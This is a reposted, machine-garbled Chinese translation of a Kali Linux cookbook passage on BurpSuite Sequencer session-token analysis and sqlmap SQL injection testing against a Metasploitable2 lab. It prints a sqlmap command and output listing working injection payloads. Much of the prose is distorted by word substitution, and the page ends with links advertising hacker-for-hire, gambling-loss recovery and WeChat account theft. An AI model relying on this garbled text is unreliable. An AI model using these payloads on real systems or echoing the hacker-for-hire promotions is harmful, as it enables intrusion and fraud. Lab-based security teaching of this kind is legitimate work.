Kali Linux *** 扫描秘笈 第七章 Web 运用扫描仪(三)

访客3年前黑客文章873

创作者:Justin Hutchens

译员:巨龙

协议书:CC BY-NC-SA 4.0

Web 运用会话一般 由会话 ID 标志来维护保养,它由任意或伪随机值构成。出自于这一缘故,偶然性一般 是这种运用的安全性的重要。这一秘笈中,大家会探讨怎么使用 BurpSuite Sequencer 来搜集形成的值,并测试他们的偶然性。

为了更好地应用 BurpSuite 对总体目标实行 Web 运用剖析,你需要有着运作一个或好几个 Web 运用的远程控制系统软件。所出示的事例中,大家应用 Metasploitable2 案例来达到目标。 Metasploitable2 有着多种多样预安裝的系统漏洞 Web 运用,运作在 TCP 80 端口号上。配备 Metasploitable2 的其他信息请参照之一章中的“安裝 Metasploitable2”秘笈。

除此之外,你的 Web 电脑浏览器必须配备来根据 BurpSuite 当地案例 *** 商 Web 总流量。有关将 BurpSuite 作为浏览器 *** 的其他信息,请参照之一章的“配备 BurpSuite”一节。

为了更好地应用 BurpSuite Sequencer,响应务必包括Set-Cookie协议书头,或是其他伪随机数的值,测试必须他们来推送。这能够根据HTTP *** 商历史时间或是在于电脑浏览器的响应阻拦来进行,像那样:

Burp 会全自动应用响应中的全部 Cookie 值添充 Cookie 下拉列表。做为取代,你能应用Custom location字段名,以后点一下Configure按键来特定响应中的一切部位用以测试,像那样:

在明确必须测试的值以后,点一下Start live capture按键,这会逐渐递交很多请求来得到 参数的增加值。这一事例中,Burp 会递交很多请求,并将 PHPSESSID 从请求中除去。这会造成 *** 服务器为每一个请求形成新的会话标志。这样一来,大家就可以得到 样版值,他们能够用以进行 FIPS 测试。FIPS 测试由一系列测试构成,他们会资产评估公司形成的伪随机数的熵。全部这种测试会以图型文件格式展现,使其十分通俗易懂,像那样:

针对高准确度和完全的 FIPS 测试而言,一共必须 20000 个值。可是剖析至少能够以 100 个值来实行。除开实行即时捕捉以外,Manual load标签页能够用以为测试提交或黏贴值的目录。

BurpSuite Sequencer 对伪随机数样版实行很多不一样的数学课评定,依据所生成随机数的熵试着分辨其品质。即时捕捉可用以形成样版值,它根据递交事前结构的请求,并造成 *** 服务器分派新的值。这一般 根据从请求中清除目前Cookie值,进而使响应以新的Set-Cookie协议书头的方式,出示新的会话标志来进行。

Web 运用经常接纳所出示 URL 内的参数。这种参数一般 以 HTTP GET 方式发送给 *** 服务器。假如一切这种参数接着包括在发送给后端开发数据库查询的查看句子中,SQL 引入系统漏洞就很有可能存有。大家会探讨怎么使用 sqlmap 来自动化技术 HTTP GET 方式请求参数的测试。

为了更好地应用 sqlmap 对总体目标实行 Web 运用剖析,你需要有着运作一个或好几个 Web 运用的远程控制系统软件。所出示的事例中,大家应用 Metasploitable2 案例来达到目标。 Metasploitable2 有着多种多样预安裝的系统漏洞 Web 运用,运作在 TCP 80 端口号上。配备 Metasploitable2 的其他信息请参照之一章中的“安裝 Metasploitable2”秘笈。

为了更好地应用 sqlmap 来测试 HTTP GET 方式参数,你需要应用-u参数及其要测试的 URL。这一 URL 应当包括一切 GET 方式参数。除此之外,假如 Web 內容只是根据创建的会话来方式,还必须应用--cookie出示与会话相匹配的 Cookie。

root@KaliLinux:~# sqlmap -u " sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf6b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5

**{CUT}**

sqlmap identified the following injection points with a total of 279 HTTP(s) requests:

--

Place: GET

Parameter: id

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause

Payload: id=-2345' OR (1644=1644) AND 'moHu'='moHu&Submit=y

Type: error-based

Title: MySQL >=5.0 AND error-based - WHERE or HAVING clause

Payload: id=x' AND (SELECT 1537 FROM(SELECT COUNT(*),CONCAT(0x3a6b6f 683a,(SELECT (CASE WHEN (1537=1537) THEN 1 ELSE 0 END)),0x3a696a793a,FLO OR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'VHVT'='VHVT&Submit=y

Type: UNION query

Title: MySQL UNION query (NULL) - 2 columns

Payload: id=x' UNION ALL SELECT CONCAT(0x3a6b6f683a,0x7979634f4e716b7 55961,0x3a696a793a),NULL#&Submit=y

Type: AND/OR time-based blind

Title: MySQL

Payload: id=x' AND 5276=BENCHMARK(5000000,MD5(0x704b5772)) AND 'XiQP'='XiQP&Submit=y

--

**{TRUNCATED}** 1234567891011121314151617181920212223242512345678910111213141516171819202122232425

相关文章

老椒情麻辣烫总部地址在哪?周到支持助你成功创业

老椒情麻辣烫总部地址在哪?周到支持助你成功创业

美食种类浩瀚,可是具有特色的品牌并不是许多,浩瀚的加盟商都是想要加盟一个具有特色而且具有实力的品牌,此刻在市场中这样的品牌并不是许多的,可是此刻老椒情麻辣烫加盟的呈现正是为各人带来了但愿和时机,而且老...

黑客兵器谱,网络平台网站输钱找黑客要回,黑客网站解除永久冻结

216.17.92[.]138:449这样,ArrayBuffer根本上就类似于原始内存,你会用C言语模仿一种直接的内存拜访, 包括缝隙的OLE2Link目标中设置FileMoniker对应的文件为_...

黑客服务后付费为(后付费adsl自服务)

您好,预付费是需要先交费才能使用的,欠费就不能使用,后付费可以先消费后交费,您只需在次月出账单后交费即可。 北京联通ADSL后付费客户可登录首页点击宽带自服务>ADSL上网产品>后付费A...

黑客网站安全吗,黑客能盗微信怎么办,利用漏洞赚钱会判多久

#define PROMPT "LanLan://>" 10.下列代码行1-4怎么排序,使之可以在履行代码时输出到控制台? 为什么?(function(){allowSchemes = ["ht...

苹果微信记录删除怎么恢复聊天记录

苹果微信纪录删掉如何恢复?我再用的是iPhone,有一次清除微信内存的情况下,把关键微信聊天纪录一并清除了,猛然感觉自身懵了,忽然想起来电脑的武器——全能iPhone,能够用于修复微信删除的纪录,她是...

社群破局之道:六脉神剑

社群破局之道:六脉神剑

互联网营销的本质就是用最小的投入,精准链接目标顾客,用完美的创意,实现强大的口碑以影响目标顾客。 作为人,永恒的三个哲学命题“我是谁,我从哪里来,到哪里去”。 作为企业,永恒的三个哲学命题“客户从哪...